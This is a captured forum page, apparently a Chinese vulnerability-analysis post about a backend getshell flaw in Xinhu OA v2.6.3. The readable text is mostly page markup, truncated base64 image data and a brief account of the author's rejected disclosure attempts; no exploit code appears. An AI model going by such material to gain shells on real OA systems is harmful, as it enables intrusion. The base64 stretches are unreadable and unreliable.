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
<style>.highlight .k{color:#204a87;font-weight:bold}.highlight .o{color:#ce5c00;font-weight:bold}.highlight .x{color:#000}.highlight .p{color:#000;font-weight:bold}.highlight .cp{color:#8f5902;font-style:italic}.highlight .nc{color:#000}.highlight .nf{color:#000}.highlight .nx{color:#000}.highlight .nv{color:#000}.highlight .sd{color:#8f5902;font-style:italic}.highlight .s2{color:#4e9a06}.highlight .s1{color:#4e9a06}</style>
<style>@-webkit-keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@media(max-width:800px){}</style>
<!--[if lte IE 8]>
<script src="http://code.jquery.com/jquery-1.11.3.min.js"></script>
<![endif]-->
<!--[if !IE]> -->
<style>#waf_nc_block{position:fixed;width:100%;height:100%;top:0;bottom:0;left:0;z-index:99999}</style><style data-id=immersive-translate-input-injected-css>@-webkit-keyframes immersive-translate-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes immersive-translate-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}@keyframes immersiveTranslateShadowRolling{0%{box-shadow:0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}12%{box-shadow:100px 0 var(--loading-color),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}25%{box-shadow:110px 0 var(--loading-color),100px 0 var(--loading-color),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}36%{box-shadow:120px 0 var(--loading-color),110px 0 var(--loading-color),100px 0 var(--loading-color),0px 0 rgba(255,255,255,0)}50%{box-shadow:130px 0 var(--loading-color),120px 0 var(--loading-color),110px 0 var(--loading-color),100px 0 var(--loading-color)}62%{box-shadow:200px 0 rgba(255,255,255,0),130px 0 var(--loading-color),120px 0 var(--loading-color),110px 0 var(--loading-color)}75%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),130px 0 var(--loading-color),120px 0 var(--loading-color)}87%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),130px 0 var(--loading-color)}100%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0)}}@media(prefers-color-scheme:dark){}@media screen and (max-width:768px){}</style><meta name=referrer content=no-referrer><link rel=icon href="data:image/x-icon;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAMAAABEpIrGAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAADDUExURUxpcVVVVUNDVT5CTz1BUEBVVT1BUD1BTz5CTz5GT0BDUVVVVT5CTz5BUj1CTz5BT05OYj1CUD5GVUJCUj5CUD5BTz5BT0lJbT5CUEJCVT9DUUBHVT5CUD5CTz9CUD5BTz1BTz5CUEREUz5CUD5BUD5DTz5CUD5BT0BDUT5CTz1CUD5EUUBgYEBDUT5CUT1CTz1BUD5BUD9DUT1CT0REVT5BUENDUT1BUEBGUz1BUD9DT0FBUz1CTz5BTz1CUD1BUD1BT5JdbS4AAABAdFJOUwAJKr76DPbywR1MBuRO5fsNsyEfvdtKB4MbfiTa+FnegYwitbBXfPdYrt0pCEiL9XmsRdgeVhO8KI2KK45a2b/ePQx7AAAAwUlEQVQ4y4XTxw7CQAwE0A2E0BN67733Xv3/X4U0kYgimKxP9vgdfNhVildaBVfmpQGPaPD+7mjAW74g5q8Ewqd4QHy1T+JCm4IdsqswsEUUchhYHxCFhYENkpYw0MCFEZuCJYKuMDB1LzQZsPLehX/BCONEGCiWcWGKghKmlTAwwDA3GbByGArCQA39UBiYLfwX/gD3mdyEgSy6i8nAuIfuLAx00ByFgbaB5hT3VdUDmk8mfc0fa9Y1oKLZKyNo+QEJQV3gLnHrKwAAAABJRU5ErkJggg==" type=image/x-icon><style>.sf-hidden{display:none !important}</style><link rel=canonical href="https://xz.aliyun.com/t/14920?time__1311=mqmxyD0iDtehD%2F%2BG7QuxGIox7q5u%3DGYD&amp;alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ftab%2F4"><meta http-equiv=content-security-policy content="default-src 'none'; font-src 'self' data:; img-src 'self' data:; style-src 'unsafe-inline'; media-src 'self' data:; script-src 'unsafe-inline' data:; object-src 'self' data:; frame-src 'self' data:;"><style>img[src="data:,"],source[src="data:,"]{display:none!important}</style></head>
<body>
<div class="navbar navbar-default">
<div class=navbar-inner>
<div class=container style=text-align:center;position:relative>
<!--[if lte IE 8]>
<span style="display:inline-block;margin:0 auto;color:red;">为了更好的体验,请使用IE10及以上版本</span>
<![endif]-->
<div class=brand-box>
<a class=brand href=https://xz.aliyun.com/tab/1></a>
</div>
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F14920&amp;from_type=xianzhi" class="pull-right anonymous-user hh_loding sf-hidden">
登录</a>
<div class="nav-collapse collapse">
<div class="search d1 text-right">
<form action=/search>
<input type=text placeholder=搜索 name=keyword value>
</form>
</div>
</div>
</div>
</div>
</div>
<div id=Wrapper class=container>
<div class=row2>
<div class=span10>
<div class="row box content" width="1200px !important" style=width:1200px>
<div class=box-container>
<div class=main-topic>
<div class="clearfix user-info topic-list">
<p><span class=content-title>信呼OA后台GETSHELL分析</span>
</p>
<div class=topic-info>
<span class=info-left>
<a href=https://xz.aliyun.com/u/13547>
<span class="username cell"> SetObject</span></a> <span class=i-seprator> / </span>
<span> 2024-06-24 22:40:38</span><span class=i-seprator> / </span>
<span>发表于山东 / </span>
<span>浏览数 53</span>
<span class=content-node>
<span class="label label-default label-node-first">
<a href=https://xz.aliyun.com/tab/4>社区板块</a></span>
<span class="label label-default">
<a href=https://xz.aliyun.com/node/1>漏洞分析</a></span>
</span>
</span>
<span class="pull-right t-vote cell info-right"><a class="vote vote-up" href=javascript:void(0)>
顶(0)</a>
<a class="vote vote-down" href=javascript:void(0)>
踩(0)</a></span>
</div>
</div>
<hr>
<div id=topic_content class="topic-content markdown-body">
<p>信呼OA后台GETSHELL<br>
测试版本:v2.6.3(最新版)<br>
前两天某天收洞,说奖金挺高,想着挖一挖赚点外快,审核说无法复现不收,不收就不收吧。<br>
<a id=img0 href=https://xzfile.aliyuncs.com/media/upload/picture/20240624222522-97758c9a-3235-1.png><img src="data:image/png;base64,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
<p>那我就提交cnvd,cnvd嫌我不写分析步骤不收驳回,那就不交了吧。</p>
<p><a id=img1 href=https://xzfile.aliyuncs.com/media/upload/picture/20240624222652-cd0bb5fa-3235-1.png><img src=data:image/png;base64,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
<p>我寻思直接联系厂商修复吧。嗯厂商也是爱答不理。</p>
<p><a id=img2 href=https://xzfile.aliyuncs.com/media/upload/picture/20240624222020-e32d2f22-3234-1.jpeg><img src=data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAA88AAAH8CAYAAADv+p3pAADb2ElEQVR4nOz9e3xU953n+b9Ole5ICMmSDEKWLYkII4whLZG4uzUTx0Pa04hkbA+Z9hIgPWF+9ibt9I/tdKPdh7ejVbKeXTGd/qknnnjtHbLdQFjPhsZ+xEi9jrWJva3pToIqzSUqjAySEeJiSagQutS9zu+PU1WqqyTuIN7Px4OHpXP5nu8pMtO86/O9GFe9ARMRERERERERSct2pzsgIiIiIiIicrdTeBYRERERERGZg8KziIiIiIiIyBwUnkVERERERETmoPAsIiIiIiIiMgeFZxEREREREZE5KDyLiIiIiIiIzEHhWURERERERGQOCs8iIiIiIiIic1B4FhEREREREZmDwrOIiIiIiIjIHBSeRUREREREROag8CwiIiIiIiIyB4VnERERERERkTkoPIuIiIiIiIjMQeFZREREREREZA4KzyIiIiIiIiJzUHgWERERERERmYPCs4iIiIiIiMgcFJ5FRERERERE5qDwLCIiIiIiIjIHhWcRERERERGROSg8i4iIiIiIiMwh4053YDZ9J47e6S6IiIiIiIiI3N3hGaDBcad7ICIiIiIiIvc7DdsWERERERERmYPCs4iIiIiIiMgcFJ5FRERERERE5qDwLCIiIiIiIjIHhWcRERERERGROSg8i4iIiIiIiMxB4VlERERERERkDgrPIiIiIiIiInNQeBYRERERERGZQ8ad7sDt9mSBmzpGKPd9wqKpMYzJK3in3biCJpfMPM5nPsDHeQ/xUeHKO91VERERERERuUvcF+G5INPGv1vm4+mMi9h9k7jdE0x4rzIZ8uA2Q2CGyA16WO4bp3TiLGtHe5gim+PF6/h1xT/Hbdrv9CuIiIiIiIjIHbTgw/MfrljCHxcPk+W+zFW3n0kzQDBgEgyAaYYIBYOYoRCh8B8zGCIQgmzcNFz6gOqPP+Cj+m38IqfmTr+KiIiIiIiI3CELes7zq7/zEK/UeMgOTOAOBfEGfASDIfw+H8FAgGAgSDAUwhsMWMf9QfyBEIGAD7/XS9AfoigjxOp/fJXnrv7yTr+OiIiIiIiI3CELNjwfeKqKPygNMDzyCdN+PxPT0/iDQTweL35/AL/Ph8/rw+fz4fF48Pn8+P1+vF6v9bMvgN8bwOMJkZW9mMW/+i98+eK7d/q1RERERERE5A5YkOH51d99iGeX53HmzIe4xscZvuxi0u3B7fHi9XgIBANcnZjA4/Hg8Xjw+/14PB4mJiai4dnr8+PzBfD7fXjcPrJzcgn81/+T37/48zv9eiIiIiIiInKbLbg5z/+29gH+qK6Ef/zHbi5eOg+mH8/0NJmZNkJ+H26fm6nxaS5dGiJ3UT5ujweP14vf62f8ygQZmRlk2jMIhYIYpgFGENM0CIUyyc5dzOcyzpFT7OWtsew7/aoiIiIiIiJymyyo8Lw4y87uJyo4dcrJkSP/yJLixbinJ7GFQmTYIOBxEzBDnO3rY9I7QcjIwOfx4vH4wkO0vdh8fhbl5WCGgphmpGWTQDCAEQwxMHiOv/rGKrre/pgJf+hOvq6IiIiIiIjcJgsqPO9a+yA5AS+HD/8Ej3caE5iauEJuTjZmwI/XM8WVsSssWeQDI4+Ry+Nk2A